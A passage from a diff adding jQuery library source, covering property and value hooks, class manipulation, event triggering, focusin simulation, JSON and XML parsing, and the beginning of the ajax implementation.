+					rfocusable.test( elem.nodeName ) ||
+						rclickable.test( elem.nodeName ) && elem.href ?
+							0 :
+							-1;
+			}
+		}
+	},
+
+	propFix: {
+		"for": "htmlFor",
+		"class": "className"
+	}
+} );
+
+if ( !support.optSelected ) {
+	jQuery.propHooks.selected = {
+		get: function( elem ) {
+			var parent = elem.parentNode;
+			if ( parent && parent.parentNode ) {
+				parent.parentNode.selectedIndex;
+			}
+			return null;
+		}
+	};
+}
+
+jQuery.each( [
+	"tabIndex",
+	"readOnly",
+	"maxLength",
+	"cellSpacing",
+	"cellPadding",
+	"rowSpan",
+	"colSpan",
+	"useMap",
+	"frameBorder",
+	"contentEditable"
+], function() {
+	jQuery.propFix[ this.toLowerCase() ] = this;
+} );
+
+
+
+
+var rclass = /[\t\r\n\f]/g;
+
+function getClass( elem ) {
+	return elem.getAttribute && elem.getAttribute( "class" ) || "";
+}
+
+jQuery.fn.extend( {
+	addClass: function( value ) {
+		var classes, elem, cur, curValue, clazz, j, finalValue,
+			i = 0;
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each( function( j ) {
+				jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
+			} );
+		}
+
+		if ( typeof value === "string" && value ) {
+			classes = value.match( rnotwhite ) || [];
+
+			while ( ( elem = this[ i++ ] ) ) {
+				curValue = getClass( elem );
+				cur = elem.nodeType === 1 &&
+					( " " + curValue + " " ).replace( rclass, " " );
+
+				if ( cur ) {
+					j = 0;
+					while ( ( clazz = classes[ j++ ] ) ) {
+						if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
+							cur += clazz + " ";
+						}
+					}
+
+					// Only assign if different to avoid unneeded rendering.
+					finalValue = jQuery.trim( cur );
+					if ( curValue !== finalValue ) {
+						elem.setAttribute( "class", finalValue );
+					}
+				}
+			}
+		}
+
+		return this;
+	},
+
+	removeClass: function( value ) {
+		var classes, elem, cur, curValue, clazz, j, finalValue,
+			i = 0;
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each( function( j ) {
+				jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
+			} );
+		}
+
+		if ( !arguments.length ) {
+			return this.attr( "class", "" );
+		}
+
+		if ( typeof value === "string" && value ) {
+			classes = value.match( rnotwhite ) || [];
+
+			while ( ( elem = this[ i++ ] ) ) {
+				curValue = getClass( elem );
+
+				// This expression is here for better compressibility (see addClass)
+				cur = elem.nodeType === 1 &&
+					( " " + curValue + " " ).replace( rclass, " " );
+
+				if ( cur ) {
+					j = 0;
+					while ( ( clazz = classes[ j++ ] ) ) {
+
+						// Remove *all* instances
+						while ( cur.indexOf( " " + clazz + " " ) > -1 ) {
+							cur = cur.replace( " " + clazz + " ", " " );
+						}
+					}
+
+					// Only assign if different to avoid unneeded rendering.
+					finalValue = jQuery.trim( cur );
+					if ( curValue !== finalValue ) {
+						elem.setAttribute( "class", finalValue );
+					}
+				}
+			}
+		}
+
+		return this;
+	},
+
+	toggleClass: function( value, stateVal ) {
+		var type = typeof value;
+
+		if ( typeof stateVal === "boolean" && type === "string" ) {
+			return stateVal ? this.addClass( value ) : this.removeClass( value );
+		}
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each( function( i ) {
+				jQuery( this ).toggleClass(
+					value.call( this, i, getClass( this ), stateVal ),
+					stateVal
+				);
+			} );
+		}
+
+		return this.each( function() {
+			var className, i, self, classNames;
+
+			if ( type === "string" ) {
+
+				// Toggle individual class names
+				i = 0;
+				self = jQuery( this );
+				classNames = value.match( rnotwhite ) || [];
+
+				while ( ( className = classNames[ i++ ] ) ) {
+
+					// Check each className given, space separated list
+					if ( self.hasClass( className ) ) {
+						self.removeClass( className );
+					} else {
+						self.addClass( className );
+					}
+				}
+
+			// Toggle whole class name
+			} else if ( value === undefined || type === "boolean" ) {
+				className = getClass( this );
+				if ( className ) {
+
+					// Store className if set
+					dataPriv.set( this, "__className__", className );
+				}
+
+				// If the element has a class name or if we're passed `false`,
+				// then remove the whole classname (if there was one, the above saved it).
+				// Otherwise bring back whatever was previously saved (if anything),
+				// falling back to the empty string if nothing was stored.
+				if ( this.setAttribute ) {
+					this.setAttribute( "class",
+						className || value === false ?
+						"" :
+						dataPriv.get( this, "__className__" ) || ""
+					);
+				}
+			}
+		} );
+	},
+
+	hasClass: function( selector ) {
+		var className, elem,
+			i = 0;
+
+		className = " " + selector + " ";
+		while ( ( elem = this[ i++ ] ) ) {
+			if ( elem.nodeType === 1 &&
+				( " " + getClass( elem ) + " " ).replace( rclass, " " )
+					.indexOf( className ) > -1
+			) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+} );
+
+
+
+
+var rreturn = /\r/g;
+
+jQuery.fn.extend( {
+	val: function( value ) {
+		var hooks, ret, isFunction,
+			elem = this[ 0 ];
+
+		if ( !arguments.length ) {
+			if ( elem ) {
+				hooks = jQuery.valHooks[ elem.type ] ||
+					jQuery.valHooks[ elem.nodeName.toLowerCase() ];
+
+				if ( hooks &&
+					"get" in hooks &&
+					( ret = hooks.get( elem, "value" ) ) !== undefined
+				) {
+					return ret;
+				}
+
+				ret = elem.value;
+
+				return typeof ret === "string" ?
+
+					// Handle most common string cases
+					ret.replace( rreturn, "" ) :
+
+					// Handle cases where value is null/undef or number
+					ret == null ? "" : ret;
+			}
+
+			return;
+		}
+
+		isFunction = jQuery.isFunction( value );
+
+		return this.each( function( i ) {
+			var val;
+
+			if ( this.nodeType !== 1 ) {
+				return;
+			}
+
+			if ( isFunction ) {
+				val = value.call( this, i, jQuery( this ).val() );
+			} else {
+				val = value;
+			}
+
+			// Treat null/undefined as ""; convert numbers to string
+			if ( val == null ) {
+				val = "";
+
+			} else if ( typeof val === "number" ) {
+				val += "";
+
+			} else if ( jQuery.isArray( val ) ) {
+				val = jQuery.map( val, function( value ) {
+					return value == null ? "" : value + "";
+				} );
+			}
+
+			hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
+
+			// If set returns undefined, fall back to normal setting
+			if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
+				this.value = val;
+			}
+		} );
+	}
+} );
+
+jQuery.extend( {
+	valHooks: {
+		option: {
+			get: function( elem ) {
+
+				// Support: IE<11
+				// option.value not trimmed (#14858)
+				return jQuery.trim( elem.value );
+			}
+		},
+		select: {
+			get: function( elem ) {
+				var value, option,
+					options = elem.options,
+					index = elem.selectedIndex,
+					one = elem.type === "select-one" || index < 0,
+					values = one ? null : [],
+					max = one ? index + 1 : options.length,
+					i = index < 0 ?
+						max :
+						one ? index : 0;
+
+				// Loop through all the selected options
+				for ( ; i < max; i++ ) {
+					option = options[ i ];
+
+					// IE8-9 doesn't update selected after form reset (#2551)
+					if ( ( option.selected || i === index ) &&
+
+							// Don't return options that are disabled or in a disabled optgroup
+							( support.optDisabled ?
+								!option.disabled : option.getAttribute( "disabled" ) === null ) &&
+							( !option.parentNode.disabled ||
+								!jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
+
+						// Get the specific value for the option
+						value = jQuery( option ).val();
+
+						// We don't need an array for one selects
+						if ( one ) {
+							return value;
+						}
+
+						// Multi-Selects return an array
+						values.push( value );
+					}
+				}
+
+				return values;
+			},
+
+			set: function( elem, value ) {
+				var optionSet, option,
+					options = elem.options,
+					values = jQuery.makeArray( value ),
+					i = options.length;
+
+				while ( i-- ) {
+					option = options[ i ];
+					if ( option.selected =
+							jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
+					) {
+						optionSet = true;
+					}
+				}
+
+				// Force browsers to behave consistently when non-matching value is set
+				if ( !optionSet ) {
+					elem.selectedIndex = -1;
+				}
+				return values;
+			}
+		}
+	}
+} );
+
+// Radios and checkboxes getter/setter
+jQuery.each( [ "radio", "checkbox" ], function() {
+	jQuery.valHooks[ this ] = {
+		set: function( elem, value ) {
+			if ( jQuery.isArray( value ) ) {
+				return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
+			}
+		}
+	};
+	if ( !support.checkOn ) {
+		jQuery.valHooks[ this ].get = function( elem ) {
+			return elem.getAttribute( "value" ) === null ? "on" : elem.value;
+		};
+	}
+} );
+
+
+
+
+// Return jQuery for attributes-only inclusion
+
+
+var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/;
+
+jQuery.extend( jQuery.event, {
+
+	trigger: function( event, data, elem, onlyHandlers ) {
+
+		var i, cur, tmp, bubbleType, ontype, handle, special,
+			eventPath = [ elem || document ],
+			type = hasOwn.call( event, "type" ) ? event.type : event,
+			namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];
+
+		cur = tmp = elem = elem || document;
+
+		// Don't do events on text and comment nodes
+		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
+			return;
+		}
+
+		// focus/blur morphs to focusin/out; ensure we're not firing them right now
+		if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
+			return;
+		}
+
+		if ( type.indexOf( "." ) > -1 ) {
+
+			// Namespaced trigger; create a regexp to match event type in handle()
+			namespaces = type.split( "." );
+			type = namespaces.shift();
+			namespaces.sort();
+		}
+		ontype = type.indexOf( ":" ) < 0 && "on" + type;
+
+		// Caller can pass in a jQuery.Event object, Object, or just an event type string
+		event = event[ jQuery.expando ] ?
+			event :
+			new jQuery.Event( type, typeof event === "object" && event );
+
+		// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
+		event.isTrigger = onlyHandlers ? 2 : 3;
+		event.namespace = namespaces.join( "." );
+		event.rnamespace = event.namespace ?
+			new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
+			null;
+
+		// Clean up the event in case it is being reused
+		event.result = undefined;
+		if ( !event.target ) {
+			event.target = elem;
+		}
+
+		// Clone any incoming data and prepend the event, creating the handler arg list
+		data = data == null ?
+			[ event ] :
+			jQuery.makeArray( data, [ event ] );
+
+		// Allow special events to draw outside the lines
+		special = jQuery.event.special[ type ] || {};
+		if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
+			return;
+		}
+
+		// Determine event propagation path in advance, per W3C events spec (#9951)
+		// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
+		if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
+
+			bubbleType = special.delegateType || type;
+			if ( !rfocusMorph.test( bubbleType + type ) ) {
+				cur = cur.parentNode;
+			}
+			for ( ; cur; cur = cur.parentNode ) {
+				eventPath.push( cur );
+				tmp = cur;
+			}
+
+			// Only add window if we got to document (e.g., not plain obj or detached DOM)
+			if ( tmp === ( elem.ownerDocument || document ) ) {
+				eventPath.push( tmp.defaultView || tmp.parentWindow || window );
+			}
+		}
+
+		// Fire handlers on the event path
+		i = 0;
+		while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
+
+			event.type = i > 1 ?
+				bubbleType :
+				special.bindType || type;
+
+			// jQuery handler
+			handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] &&
+				dataPriv.get( cur, "handle" );
+			if ( handle ) {
+				handle.apply( cur, data );
+			}
+
+			// Native handler
+			handle = ontype && cur[ ontype ];
+			if ( handle && handle.apply && acceptData( cur ) ) {
+				event.result = handle.apply( cur, data );
+				if ( event.result === false ) {
+					event.preventDefault();
+				}
+			}
+		}
+		event.type = type;
+
+		// If nobody prevented the default action, do it now
+		if ( !onlyHandlers && !event.isDefaultPrevented() ) {
+
+			if ( ( !special._default ||
+				special._default.apply( eventPath.pop(), data ) === false ) &&
+				acceptData( elem ) ) {
+
+				// Call a native DOM method on the target with the same name name as the event.
+				// Don't do default actions on window, that's where global variables be (#6170)
+				if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) {
+
+					// Don't re-trigger an onFOO event when we call its FOO() method
+					tmp = elem[ ontype ];
+
+					if ( tmp ) {
+						elem[ ontype ] = null;
+					}
+
+					// Prevent re-triggering of the same event, since we already bubbled it above
+					jQuery.event.triggered = type;
+					elem[ type ]();
+					jQuery.event.triggered = undefined;
+
+					if ( tmp ) {
+						elem[ ontype ] = tmp;
+					}
+				}
+			}
+		}
+
+		return event.result;
+	},
+
+	// Piggyback on a donor event to simulate a different one
+	simulate: function( type, elem, event ) {
+		var e = jQuery.extend(
+			new jQuery.Event(),
+			event,
+			{
+				type: type,
+				isSimulated: true
+
+				// Previously, `originalEvent: {}` was set here, so stopPropagation call
+				// would not be triggered on donor event, since in our own
+				// jQuery.event.stopPropagation function we had a check for existence of
+				// originalEvent.stopPropagation method, so, consequently it would be a noop.
+				//
+				// But now, this "simulate" function is used only for events
+				// for which stopPropagation() is noop, so there is no need for that anymore.
+				//
+				// For the compat branch though, guard for "click" and "submit"
+				// events is still used, but was moved to jQuery.event.stopPropagation function
+				// because `originalEvent` should point to the original event for the constancy
+				// with other events and for more focused logic
+			}
+		);
+
+		jQuery.event.trigger( e, null, elem );
+
+		if ( e.isDefaultPrevented() ) {
+			event.preventDefault();
+		}
+	}
+
+} );
+
+jQuery.fn.extend( {
+
+	trigger: function( type, data ) {
+		return this.each( function() {
+			jQuery.event.trigger( type, data, this );
+		} );
+	},
+	triggerHandler: function( type, data ) {
+		var elem = this[ 0 ];
+		if ( elem ) {
+			return jQuery.event.trigger( type, data, elem, true );
+		}
+	}
+} );
+
+
+jQuery.each( ( "blur focus focusin focusout load resize scroll unload click dblclick " +
+	"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
+	"change select submit keydown keypress keyup error contextmenu" ).split( " " ),
+	function( i, name ) {
+
+	// Handle event binding
+	jQuery.fn[ name ] = function( data, fn ) {
+		return arguments.length > 0 ?
+			this.on( name, null, data, fn ) :
+			this.trigger( name );
+	};
+} );
+
+jQuery.fn.extend( {
+	hover: function( fnOver, fnOut ) {
+		return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
+	}
+} );
+
+
+
+
+support.focusin = "onfocusin" in window;
+
+
+// Support: Firefox
+// Firefox doesn't have focus(in | out) events
+// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
+//
+// Support: Chrome, Safari
+// focus(in | out) events fire after focus & blur events,
+// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
+// Related ticket - https://code.google.com/p/chromium/issues/detail?id=449857
+if ( !support.focusin ) {
+	jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) {
+
+		// Attach a single capturing handler on the document while someone wants focusin/focusout
+		var handler = function( event ) {
+			jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );
+		};
+
+		jQuery.event.special[ fix ] = {
+			setup: function() {
+				var doc = this.ownerDocument || this,
+					attaches = dataPriv.access( doc, fix );
+
+				if ( !attaches ) {
+					doc.addEventListener( orig, handler, true );
+				}
+				dataPriv.access( doc, fix, ( attaches || 0 ) + 1 );
+			},
+			teardown: function() {
+				var doc = this.ownerDocument || this,
+					attaches = dataPriv.access( doc, fix ) - 1;
+
+				if ( !attaches ) {
+					doc.removeEventListener( orig, handler, true );
+					dataPriv.remove( doc, fix );
+
+				} else {
+					dataPriv.access( doc, fix, attaches );
+				}
+			}
+		};
+	} );
+}
+var location = window.location;
+
+var nonce = jQuery.now();
+
+var rquery = ( /\?/ );
+
+
+
+// Support: Android 2.3
+// Workaround failure to string-cast null input
+jQuery.parseJSON = function( data ) {
+	return JSON.parse( data + "" );
+};
+
+
+// Cross-browser xml parsing
+jQuery.parseXML = function( data ) {
+	var xml;
+	if ( !data || typeof data !== "string" ) {
+		return null;
+	}
+
+	// Support: IE9
+	try {
+		xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
+	} catch ( e ) {
+		xml = undefined;
+	}
+
+	if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
+		jQuery.error( "Invalid XML: " + data );
+	}
+	return xml;
+};
+
+
+var
+	rhash = /#.*$/,
+	rts = /([?&])_=[^&]*/,
+	rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,
+
+	// #7653, #8125, #8152: local protocol detection
+	rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
+	rnoContent = /^(?:GET|HEAD)$/,
+	rprotocol = /^\/\//,
+
+	/* Prefilters
+	 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
+	 * 2) These are called:
+	 *    - BEFORE asking for a transport
+	 *    - AFTER param serialization (s.data is a string if s.processData is true)
+	 * 3) key is the dataType
+	 * 4) the catchall symbol "*" can be used
+	 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
+	 */
+	prefilters = {},
+
+	/* Transports bindings
+	 * 1) key is the dataType
+	 * 2) the catchall symbol "*" can be used
+	 * 3) selection will start with transport dataType and THEN go to "*" if needed
+	 */
+	transports = {},
+
+	// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
+	allTypes = "*/".concat( "*" ),
+
+	// Anchor tag for parsing the document origin
+	originAnchor = document.createElement( "a" );
+	originAnchor.href = location.href;
+
+// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
+function addToPrefiltersOrTransports( structure ) {
+
+	// dataTypeExpression is optional and defaults to "*"
+	return function( dataTypeExpression, func ) {
+
+		if ( typeof dataTypeExpression !== "string" ) {
+			func = dataTypeExpression;
+			dataTypeExpression = "*";
+		}
+
+		var dataType,
+			i = 0,
+			dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];
+
+		if ( jQuery.isFunction( func ) ) {
+
+			// For each dataType in the dataTypeExpression
+			while ( ( dataType = dataTypes[ i++ ] ) ) {
+
+				// Prepend if requested
+				if ( dataType[ 0 ] === "+" ) {
+					dataType = dataType.slice( 1 ) || "*";
+					( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );
+
+				// Otherwise append
+				} else {
+					( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
+				}
+			}
+		}
+	};
+}
+
+// Base inspection function for prefilters and transports
+function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
+
+	var inspected = {},
+		seekingTransport = ( structure === transports );
+
+	function inspect( dataType ) {
+		var selected;
+		inspected[ dataType ] = true;
+		jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
+			var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
+			if ( typeof dataTypeOrTransport === "string" &&
+				!seekingTransport && !inspected[ dataTypeOrTransport ] ) {
+
+				options.dataTypes.unshift( dataTypeOrTransport );
+				inspect( dataTypeOrTransport );
+				return false;
+			} else if ( seekingTransport ) {
+				return !( selected = dataTypeOrTransport );
+			}
+		} );
+		return selected;
+	}
+
+	return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
+}
+
+// A special extend for ajax options
+// that takes "flat" options (not to be deep extended)
+// Fixes #9887
+function ajaxExtend( target, src ) {
+	var key, deep,
+		flatOptions = jQuery.ajaxSettings.flatOptions || {};
+
+	for ( key in src ) {
+		if ( src[ key ] !== undefined ) {
+			( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
+		}
+	}
+	if ( deep ) {
+		jQuery.extend( true, target, deep );
+	}
+
+	return target;
+}
+
+/* Handles responses to an ajax request:
+ * - finds the right dataType (mediates between content-type and expected dataType)
+ * - returns the corresponding response
+ */
+function ajaxHandleResponses( s, jqXHR, responses ) {
+
+	var ct, type, finalDataType, firstDataType,
+		contents = s.contents,
+		dataTypes = s.dataTypes;
+
+	// Remove auto dataType and get content-type in the process
+	while ( dataTypes[ 0 ] === "*" ) {
+		dataTypes.shift();
+		if ( ct === undefined ) {
+			ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
+		}
+	}
+
+	// Check if we're dealing with a known content-type
+	if ( ct ) {
+		for ( type in contents ) {
+			if ( contents[ type ] && contents[ type ].test( ct ) ) {
+				dataTypes.unshift( type );
+				break;
+			}
+		}
+	}
+
+	// Check to see if we have a response for the expected dataType
+	if ( dataTypes[ 0 ] in responses ) {
+		finalDataType = dataTypes[ 0 ];
+	} else {
+
+		// Try convertible dataTypes
+		for ( type in responses ) {
+			if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
+				finalDataType = type;
+				break;
+			}
+			if ( !firstDataType ) {
+				firstDataType = type;
+			}
+		}
+
+		// Or just use first one
+		finalDataType = finalDataType || firstDataType;
+	}
+
+	// If we found a dataType
+	// We add the dataType to the list if needed
+	// and return the corresponding response
+	if ( finalDataType ) {
+		if ( finalDataType !== dataTypes[ 0 ] ) {
+			dataTypes.unshift( finalDataType );
+		}
+		return responses[ finalDataType ];
+	}
+}
+
+/* Chain conversions given the request and the original response
+ * Also sets the responseXXX fields on the jqXHR instance
+ */
+function ajaxConvert( s, response, jqXHR, isSuccess ) {
+	var conv2, current, conv, tmp, prev,
+		converters = {},
+
+		// Work with a copy of dataTypes in case we need to modify it for conversion
+		dataTypes = s.dataTypes.slice();
+
+	// Create converters map with lowercased keys
+	if ( dataTypes[ 1 ] ) {
+		for ( conv in s.converters ) {
+			converters[ conv.toLowerCase() ] = s.converters[ conv ];
+		}
+	}
+
+	current = dataTypes.shift();
+
+	// Convert to each sequential dataType
+	while ( current ) {
+
+		if ( s.responseFields[ current ] ) {
+			jqXHR[ s.responseFields[ current ] ] = response;
+		}
+
+		// Apply the dataFilter if provided
+		if ( !prev && isSuccess && s.dataFilter ) {
+			response = s.dataFilter( response, s.dataType );
+		}
+
+		prev = current;
+		current = dataTypes.shift();
+
+		if ( current ) {
+
+		// There's only work to do if current dataType is non-auto
+			if ( current === "*" ) {
+
+				current = prev;
+
+			// Convert response if prev dataType is non-auto and differs from current
+			} else if ( prev !== "*" && prev !== current ) {
+
+				// Seek a direct converter
+				conv = converters[ prev + " " + current ] || converters[ "* " + current ];
+
+				// If none found, seek a pair
+				if ( !conv ) {
+					for ( conv2 in converters ) {
+
+						// If conv2 outputs current
+						tmp = conv2.split( " " );
+						if ( tmp[ 1 ] === current ) {
+
+							// If prev can be converted to accepted input
+							conv = converters[ prev + " " + tmp[ 0 ] ] ||
+								converters[ "* " + tmp[ 0 ] ];
+							if ( conv ) {
+
+								// Condense equivalence converters
+								if ( conv === true ) {
+									conv = converters[ conv2 ];
+
+								// Otherwise, insert the intermediate dataType
+								} else if ( converters[ conv2 ] !== true ) {
+									current = tmp[ 0 ];
+									dataTypes.unshift( tmp[ 1 ] );
+								}
+								break;
+							}
+						}
+					}
+				}
+
+				// Apply converter (if not an equivalence)
+				if ( conv !== true ) {
+
+					// Unless errors are allowed to bubble, catch and return them
+					if ( conv && s.throws ) {
+						response = conv( response );
+					} else {
+						try {
+							response = conv( response );
+						} catch ( e ) {
+							return {
+								state: "parsererror",
+								error: conv ? e : "No conversion from " + prev + " to " + current
+							};
+						}
+					}
+				}
+			}
+		}
+	}
+
+	return { state: "success", data: response };
+}
+
+jQuery.extend( {
+
+	// Counter for holding the number of active queries
+	active: 0,
+
+	// Last-Modified header cache for next request
+	lastModified: {},
+	etag: {},
+
+	ajaxSettings: {
+		url: location.href,
+		type: "GET",
+		isLocal: rlocalProtocol.test( location.protocol ),
+		global: true,
+		processData: true,
+		async: true,
+		contentType: "application/x-www-form-urlencoded; charset=UTF-8",
+		/*
+		timeout: 0,
+		data: null,
+		dataType: null,
+		username: null,
+		password: null,
+		cache: null,
+		throws: false,
+		traditional: false,
+		headers: {},
+		*/
+
+		accepts: {
+			"*": allTypes,
+			text: "text/plain",
+			html: "text/html",
+			xml: "application/xml, text/xml",
+			json: "application/json, text/javascript"
+		},
+
+		contents: {
+			xml: /\bxml\b/,
+			html: /\bhtml/,
+			json: /\bjson\b/
+		},
+
+		responseFields: {
+			xml: "responseXML",
+			text: "responseText",
+			json: "responseJSON"
+		},
+
+		// Data converters
+		// Keys separate source (or catchall "*") and destination types with a single space
+		converters: {
+
+			// Convert anything to text
+			"* text": String,
+
+			// Text to html (true = no transformation)
+			"text html": true,
+
+			// Evaluate text as a json expression
+			"text json": jQuery.parseJSON,
+
+			// Parse text as xml
+			"text xml": jQuery.parseXML
+		},
+
+		// For options that shouldn't be deep extended:
+		// you can add your own custom options here if
+		// and when you create one that shouldn't be
+		// deep extended (see ajaxExtend)
+		flatOptions: {
+			url: true,
+			context: true
+		}
+	},
+
+	// Creates a full fledged settings object into target
+	// with both ajaxSettings and settings fields.
+	// If target is omitted, writes into ajaxSettings.
+	ajaxSetup: function( target, settings ) {
+		return settings ?
+
+			// Building a settings object
+			ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
+
+			// Extending ajaxSettings
+			ajaxExtend( jQuery.ajaxSettings, target );
+	},
+
+	ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
+	ajaxTransport: addToPrefiltersOrTransports( transports ),
+
+	// Main method
+	ajax: function( url, options ) {
+
+		// If url is an object, simulate pre-1.5 signature
+		if ( typeof url === "object" ) {
+			options = url;
+			url = undefined;
+		}
+
+		// Force options to be an object
+		options = options || {};
+
+		var transport,
+
+			// URL without anti-cache param
+			cacheURL,
+
+			// Response headers
+			responseHeadersString,
+			responseHeaders,
+
+			// timeout handle
+			timeoutTimer,
+
+			// Url cleanup var
+			urlAnchor,
+
+			// To know if global events are to be dispatched
+			fireGlobals,
+
+			// Loop variable
+			i,
+
+			// Create the final options object
+			s = jQuery.ajaxSetup( {}, options ),
+
+			// Callbacks context
+			callbackContext = s.context || s,
+
+			// Context for global events is callbackContext if it is a DOM node or jQuery collection
+			globalEventContext = s.context &&
+				( callbackContext.nodeType || callbackContext.jquery ) ?
+					jQuery( callbackContext ) :
+					jQuery.event,
+
+			// Deferreds
+			deferred = jQuery.Deferred(),
+			completeDeferred = jQuery.Callbacks( "once memory" ),
+
+			// Status-dependent callbacks
+			statusCode = s.statusCode || {},
+
+			// Headers (they are sent all at once)
+			requestHeaders = {},
+			requestHeadersNames = {},
+
+			// The jqXHR state
+			state = 0,
+
+			// Default abort message
+			strAbort = "canceled",
+
+			// Fake xhr
+			jqXHR = {
+				readyState: 0,
+
+				// Builds headers hashtable if needed
+				getResponseHeader: function( key ) {
+					var match;
+					if ( state === 2 ) {
+						if ( !responseHeaders ) {
+							responseHeaders = {};
+							while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
+								responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];
+							}
+						}
+						match = responseHeaders[ key.toLowerCase() ];
+					}
+					return match == null ? null : match;
+				},
+
+				// Raw string
+				getAllResponseHeaders: function() {
+					return state === 2 ? responseHeadersString : null;
+				},
+
+				// Caches the header
+				setRequestHeader: function( name, value ) {
+					var lname = name.toLowerCase();
+					if ( !state ) {
+						name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
+						requestHeaders[ name ] = value;
+					}
+					return this;
+				},
+
+				// Overrides response content-type header
+				overrideMimeType: function( type ) {
+					if ( !state ) {
+						s.mimeType = type;
+					}
+					return this;
+				},
+
+				// Status-dependent callbacks
+				statusCode: function( map ) {
+					var code;
+					if ( map ) {
+						if ( state < 2 ) {
+							for ( code in map ) {
+
+								// Lazy-add the new callback in a way that preserves old ones
+								statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
+							}
+						} else {
+
+							// Execute the appropriate callbacks
+							jqXHR.always( map[ jqXHR.status ] );
+						}
+					}
+					return this;
+				},
+
+				// Cancel the request
+				abort: function( statusText ) {
+					var finalText = statusText || strAbort;
+					if ( transport ) {
+						transport.abort( finalText );
+					}
+					done( 0, finalText );
+					return this;
+				}
+			};
+
+		// Attach deferreds
+		deferred.promise( jqXHR ).complete = completeDeferred.add;
+		jqXHR.success = jqXHR.done;
+		jqXHR.error = jqXHR.fail;
+
+		// Remove hash character (#7531: and string promotion)
+		// Add protocol if not provided (prefilters might expect it)
+		// Handle falsy url in the settings object (#10093: consistency with old signature)
+		// We also use the url parameter if available
+		s.url = ( ( url || s.url || location.href ) + "" ).replace( rhash, "" )
+			.replace( rprotocol, location.protocol + "//" );
+
+		// Alias method option to type as per ticket #12004
+		s.type = options.method || options.type || s.method || s.type;
+
+		// Extract dataTypes list
+		s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ];
+
+		// A cross-domain request is in order when the origin doesn't match the current origin.
+		if ( s.crossDomain == null ) {
+			urlAnchor = document.createElement( "a" );
+
+			// Support: IE8-11+
+			// IE throws exception if url is malformed, e.g. http://example.com:80x/
+			try {
+				urlAnchor.href = s.url;
+
+				// Support: IE8-11+
+				// Anchor's host property isn't correctly set when s.url is relative
+				urlAnchor.href = urlAnchor.href;
+				s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !==
+					urlAnchor.protocol + "//" + urlAnchor.host;
+			} catch ( e ) {
+
+				// If there is an error parsing the URL, assume it is crossDomain,
+				// it can be rejected by the transport if it is invalid
+				s.crossDomain = true;
+			}
+		}
+
+		// Convert data if not already a string
+		if ( s.data && s.processData && typeof s.data !== "string" ) {
+			s.data = jQuery.param( s.data, s.traditional );
+		}
+
+		// Apply prefilters
+		inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
+
+		// If request was aborted inside a prefilter, stop there
+		if ( state === 2 ) {
+			return jqXHR;
+		}
+
+		// We can fire global events as of now if asked to
+		// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
+		fireGlobals = jQuery.event && s.global;
+
+		// Watch for a new set of requests
+		if ( fireGlobals && jQuery.active++ === 0 ) {
+			jQuery.event.trigger( "ajaxStart" );
+		}
+
+		// Uppercase the type
+		s.type = s.type.toUpperCase();
+
+		// Determine if request has content
+		s.hasContent = !rnoContent.test( s.type );
+
+		// Save the URL in case we're toying with the If-Modified-Since
+		// and/or If-None-Match header later on
